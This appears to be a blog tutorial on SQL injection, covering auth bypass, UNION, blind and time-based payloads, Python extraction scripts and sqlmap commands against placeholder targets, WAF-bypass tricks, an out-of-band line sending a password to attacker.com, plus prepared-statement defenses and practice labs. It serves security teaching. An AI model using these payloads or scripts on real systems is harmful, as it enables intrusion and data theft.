Skip to main content

65. Mastering SQL Injection: An Essential Web Hacking Skill

TL;DR: SQL Injection remains one of the most dangerous web vulnerabilities. This practical guide covers everything from the basics to Blind SQLi, time-based attacks, and sqlmap.

What is SQL Injection?

A vulnerability in which user input is inserted directly into an SQL query, allowing an attacker to manipulate the database.

Even in 2024, Injection remains near the top of the OWASP Top 10. Why? There is a lot of legacy code, and developers still make mistakes.

Simple example

// Vulnerable login code
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
}

Normal input:

SELECT * FROM users WHERE username='admin' AND password='password123'

Attack input: Username: admin' -- Password: (anything)

SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
^^^^
Commented out!

→ Password check bypassed! 🚨

SQLi types

1. In-Band SQLi (results are immediately visible)

Error-based SQLi

Extract information from error messages:

' UNION SELECT 1, version(), database() --

Output:

Error: MySQL version 8.0.32-ubuntu, Database: shop_db

Union-based SQLi

Retrieve additional data with UNION:

' UNION SELECT null, username, password FROM admin_users --

2. Inferential SQLi (results are hidden — Blind)

Boolean-based Blind SQLi

Extract data from true/false responses:

-- Is the first letter of the database name 's'?
' AND SUBSTRING(database(),1,1)='s' --

-- If true: normal page
-- If false: error or different page

Time-based Blind SQLi

Distinguish true from false through a time delay:

' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) --

-- If true: wait 5 seconds
-- If false: respond immediately

3. Out-of-Band SQLi

Exfiltrate data through DNS/HTTP requests (advanced):

'; EXEC xp_dirtree '\\attacker.com\' + (SELECT password FROM users WHERE id=1) + '.leak.com\share' --

Practical scenario #1: Union-based SQLi

Target analysis

Vulnerable page:

https://victim.com/product.php?id=5

Assumed original query:

SELECT name, price, description FROM products WHERE id=5

Step 1: Confirm the vulnerability

?id=5'
→ SQL error? → Vulnerable!

?id=5 AND 1=1
→ Normal page

?id=5 AND 1=2
→ Different page / error → Boolean SQLi may be possible

Step 2: Determine the number of columns

?id=5 ORDER BY 1 -- ✅ Normal
?id=5 ORDER BY 2 -- ✅ Normal
?id=5 ORDER BY 3 -- ✅ Normal
?id=5 ORDER BY 4 -- ❌ Error!

→ Confirmed 3 columns

Step 3: Find the UNION injection positions

?id=5 UNION SELECT null, null, null --

Check where null appears on the page → the second and third columns are rendered.

Step 4: Extract data

Database information:

?id=5 UNION SELECT null, database(), version() --

Output:

Name: shop_db
Price: MySQL 8.0.32

Table list:

?id=5 UNION SELECT null, table_name, null FROM information_schema.tables WHERE table_schema=database() --

Output:

products
users
admin_panel
orders

Columns in the users table:

?id=5 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --

Output:

id
username
password
email

Extract user data:

?id=5 UNION SELECT null, username, password FROM users --

Output:

admin | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
john | 098f6bcd4621d373cade4e832627b4f6 (MD5: test)

Step 5: Crack or use it

# Crack the MD5 hash
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Or use an online service: https://crackstation.net/

Practical scenario #2: Blind SQLi (Boolean)

Situation

An SQL injection is attempted on a login page, but no error message is visible.

Username: admin
Password: anything

→ "Invalid credentials" (always the same message)

However, with the following injections:

Username: admin' AND '1'='1
"Invalid credentials" (normal)

Username: admin' AND '1'='2
→ Slightly different response (or timing difference)

Boolean Blind SQLi may be possible!

Automation script (Python)

import requests
import string

url = "https://victim.com/login.php"
chars = string.ascii_letters + string.digits + '_'

# Extract the database name
db_name = ""
for pos in range(1, 20): # Up to 19 characters
for char in chars:
payload = f"admin' AND SUBSTRING(database(),{pos},1)='{char}' -- "
data = {"username": payload, "password": "x"}

response = requests.post(url, data=data)

# Distinguish true/false by the length of "Invalid credentials"
if len(response.text) == 1234: # Response length when true
db_name += char
print(f"[+] Database: {db_name}")
break
else:
break # No more characters

print(f"[!] Final database name: {db_name}")

Time-based version

import requests
import time

def check_char(pos, char):
payload = f"admin' AND IF(SUBSTRING(database(),{pos},1)='{char}',SLEEP(3),0) -- "
data = {"username": payload, "password": "x"}

start = time.time()
requests.post("https://victim.com/login.php", data=data, timeout=10)
elapsed = time.time() - start

return elapsed > 2.5 # True when SLEEP is 3 seconds

db_name = ""
for pos in range(1, 20):
for char in string.ascii_lowercase + string.digits + '_':
if check_char(pos, char):
db_name += char
print(f"[+] Found: {db_name}")
break
else:
break

print(f"[!] Database: {db_name}")

sqlmap: the standard for automation

Basic usage

# Scan a GET parameter
sqlmap -u "https://victim.com/product.php?id=5"

# Scan POST data
sqlmap -u "https://victim.com/login.php" --data="username=admin&password=test"

# Include a cookie
sqlmap -u "https://victim.com/profile.php" --cookie="PHPSESSID=abc123"

# Test only a specific parameter
sqlmap -u "https://victim.com/search.php?q=test&category=books" -p q

Data extraction

# List databases
sqlmap -u "..." --dbs

# Tables in a specific database
sqlmap -u "..." -D shop_db --tables

# Columns in a specific table
sqlmap -u "..." -D shop_db -T users --columns

# Dump data
sqlmap -u "..." -D shop_db -T users -C username,password --dump

# Dump everything (dangerous 🔥)
sqlmap -u "..." --dump-all

Advanced options

# Force Blind SQLi
sqlmap -u "..." --technique=B # Boolean-based only
sqlmap -u "..." --technique=T # Time-based only

# Specify the DBMS (improves speed)
sqlmap -u "..." --dbms=MySQL

# Use a proxy (Burp Suite)
sqlmap -u "..." --proxy=http://127.0.0.1:8080

# Disguise the User-Agent
sqlmap -u "..." --random-agent

# Bypass a WAF
sqlmap -u "..." --tamper=space2comment

# Obtain an OS shell (when file upload is possible)
sqlmap -u "..." --os-shell

Burp Suite integration

  1. Capture the request in Burp
  2. Right-click → "Copy to file" → save it as request.txt
  3. Run sqlmap:
sqlmap -r request.txt --batch --level=5 --risk=3

Defenses

1. Prepared Statements (safest)

PHP (PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();

Python (psycopg2):

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))

Node.js (mysql2):

connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password],
(err, results) => { /* ... */ }
);

2. Use an ORM

Django:

User.objects.filter(username=username, password=password)

SQLAlchemy:

session.query(User).filter_by(username=username, password=password).first()

3. Input validation (additional defense)

// Allowlist approach
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username");
}

// Type validation
$id = (int)$_GET['id']; // Force conversion to an integer

4. Principle of least privilege

-- The web application's database account gets only read/write access
GRANT SELECT, INSERT, UPDATE ON shop_db.* TO 'webapp'@'localhost';

-- Remove dangerous privileges such as DROP and CREATE
REVOKE ALL PRIVILEGES ON *.* FROM 'webapp'@'localhost';

5. WAF (Web Application Firewall)

  • ModSecurity (open source)
  • Cloudflare WAF
  • AWS WAF

Example WAF rule:

SecRule ARGS "@detectSQLi" "id:1,deny,status:403,msg:'SQL Injection Attempt'"

Advanced techniques

1. WAF bypass — encoding

-- URL encoding
' OR '1'='1%27%20OR%20%271%27%3D%271

-- Double URL encoding
' OR '1'='1%2527%2520OR%2520%25271%2527%253D%25271

-- Unicode
' OR '1'='1 → \u0027 OR \u0027\u0031\u0027=\u0027\u0031

2. WAF bypass — obfuscation

-- Insert comments
'/**/OR/**/1=1

-- Mix letter case
' oR '1'='1

-- Replace spaces
'OR'1'='1 (no spaces)
'+OR+'1'='1 (+ = space)
'/**/OR/**/1=1 (comment = space)

3. Second-Order SQLi

The first input is only stored and executes when it is used later:

// Registration
$username = mysqli_real_escape_string($conn, $_POST['username']);
mysqli_query($conn, "INSERT INTO users (username) VALUES ('$username')");

// Later, on the profile page...
$user = mysqli_query($conn, "SELECT * FROM users WHERE id=1");
$username = $user['username']; // Used as-is without escaping!

$stats = mysqli_query($conn, "SELECT * FROM stats WHERE username='$username'");

Attack:

Username during registration: admin' OR '1'='1
→ Stored in the database: admin' OR '1'='1
→ Profile lookup: SELECT * FROM stats WHERE username='admin' OR '1'='1'

4. NoSQL Injection (MongoDB)

// Vulnerable code
db.users.find({ username: req.body.username, password: req.body.password })

// Attack payload (JSON)
{
"username": {"$ne": null},
"password": {"$ne": null}
}

// Executed query
db.users.find({ username: {$ne: null}, password: {$ne: null} })
// → Returns every user!

Defense:

// Type validation
if (typeof req.body.username !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}

// Or reject objects
const username = String(req.body.username);
const password = String(req.body.password);

Practical exercises

PlatformDifficultyDescription
PortSwigger Web Security AcademyBeginner–AdvancedFree labs from the creators of Burp Suite
DVWA (Damn Vulnerable Web App)Beginner–IntermediateLocal installation, PHP-based
bWAPPIntermediateContains 100+ vulnerabilities
SQLi LabsBeginner–Advanced75 levels dedicated to SQLi
HackTheBoxIntermediate–AdvancedPractical machines, paid
TryHackMeBeginner–IntermediateGuided learning paths

Build a local lab

# Install DVWA (Docker)
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker-compose up -d

# Open: http://localhost
# Default credentials: admin / password

Practice sequence:

  1. Low security → learn basic SQL Injection
  2. Medium security → practice bypassing filters
  3. High security → master Blind SQLi and time-based techniques
  4. Impossible → study secure code

Checklist

🔍 Finding vulnerabilities

  • Does entering ', ", or ; cause an error?
  • Do 1' AND '1'='1 and 1' AND '1'='2 produce different responses?
  • Does entering 1' OR '1'='1 return more results?
  • Does behavior change after type conversion (number → string)?

🎯 Proceeding with the attack

  • Determine the number of columns (ORDER BY)
  • Find the UNION injection positions
  • Collect database information (information_schema)
  • Enumerate tables and columns
  • Extract data
  • Attempt privilege escalation (FILE, SUPER privileges)

🛡️ Defense checklist for developers

  • Are Prepared Statements used?
  • Is an ORM used safely?
  • Is input validated with an allowlist?
  • Does the database account have least privilege?
  • Are error messages hidden?
  • Is a WAF applied?
  • Are logging and monitoring in place?

Closing thoughts

SQL Injection remains a live threat in 2026.

From an attacker's perspective:

  • The highest ROI (return on investment)
  • Abundant automation tools (sqlmap, Havij, jSQL)
  • High scores in CTFs and bug bounties

From a developer's perspective:

  • Prepared Statements alone prevent 99%
  • But legacy code, complex queries, and NoSQL remain dangerous
  • "My code is safe" → the most dangerous thought

Next learning path:

  1. Clear the entire DVWA SQLi section (Low → Impossible)
  2. Complete every SQLi lab in PortSwigger Academy
  3. Solve three SQLi-tagged machines on HackTheBox
  4. Try a real bug-bounty program

Queries are code. Code must be validated. 💉

Next article: "Mastering XSS: From DOM to Blind XSS"